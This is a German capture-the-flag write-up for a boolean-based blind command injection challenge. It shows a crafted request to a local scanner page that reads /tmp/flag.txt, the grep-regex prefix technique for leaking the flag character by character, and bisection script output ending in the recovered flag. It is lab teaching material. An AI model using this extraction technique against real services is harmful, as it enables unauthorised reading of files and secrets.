Aktualisiert am: 2022-09-01

Boolean-based Blind Command Injection

Enumeration

Challenge

  • Es gibt zwei Textfelder: URL und string

  • Mit dem Button SCAN erhalten wir als Ergebnis ein Yaaaaaassssss!, falls die Zeichenkette string in der mittels URL referenzierten Datei gefunden wurde

Exploitation

  • Aufgrund der anderen Cornucopia-Challenges können wir annehmen, dass die Zeichenkette mittels grep gesucht wird

     | grep $string
    
  • Die Annahme bestätigt sich, wir können den URL wie folgt zusammensetzen

     http://localhost:8089/index.php?url=file:///tmp/flag.txt&submit=Scan&string=$string
    
  • Für string können wir jeweils im Anschluss an das bekannte flag{-Präfix mittels [...] gleich auf mehrere Zeichen prüfen, die in Frage kommen

     '^flag{[...]'
    
  • Bei bestätigtem Zeichen setzen wir es in den Regex ein, von links nach rechts

     '^flag{[...]'
     '^flag{I[...]'
     '^flag{IB[...]'
    

Python Script

Demo | cornucopia9-solution.py

Das Script nutzt die Halbierungsmethode bzw. das Halbierungsverfahren. Es benötigt damit weniger Versuche als wenn jedes einzelne Zeichen geprüft werden müsste

001                                 FGHIJKLMNOPQRSTUVWXYZ0123456789                                                             002                                                UVWXYZ0123456789
003                                 FGHIJKLMNOPQRST
004                                        MNOPQRST
005                                 FGHIJKL
006                                    IJKL
007                                      KL
008                                    IJ
009                                     J
010                                    I
011 I                                FGHIJKLMNOPQRSTUVWXYZ0123456789
012 I abcdefghijklmnopqrstuvwxyzABCDE
...
414 IBeforeEExceptAfterCHasBeenDisprovenByScienc                                FGHIJKLMNOPQRSTUVWXYZ0123456789
415 IBeforeEExceptAfterCHasBeenDisprovenByScienc abcdefghijklmnopqrstuvwxyzABCDE
416 IBeforeEExceptAfterCHasBeenDisprovenByScienc                pqrstuvwxyzABCDE
417 IBeforeEExceptAfterCHasBeenDisprovenByScienc abcdefghijklmno
418 IBeforeEExceptAfterCHasBeenDisprovenByScienc        hijklmno
419 IBeforeEExceptAfterCHasBeenDisprovenByScienc abcdefg
420 IBeforeEExceptAfterCHasBeenDisprovenByScienc    defg
421 IBeforeEExceptAfterCHasBeenDisprovenByScienc      fg
422 IBeforeEExceptAfterCHasBeenDisprovenByScienc    de
423 IBeforeEExceptAfterCHasBeenDisprovenByScienc     e
424 IBeforeEExceptAfterCHasBeenDisprovenByScience                                FGHIJKLMNOPQRSTUVWXYZ0123456789
425 IBeforeEExceptAfterCHasBeenDisprovenByScience abcdefghijklmnopqrstuvwxyzABCDE

requests: 425
password: IBeforeEExceptAfterCHasBeenDisprovenByScience

Links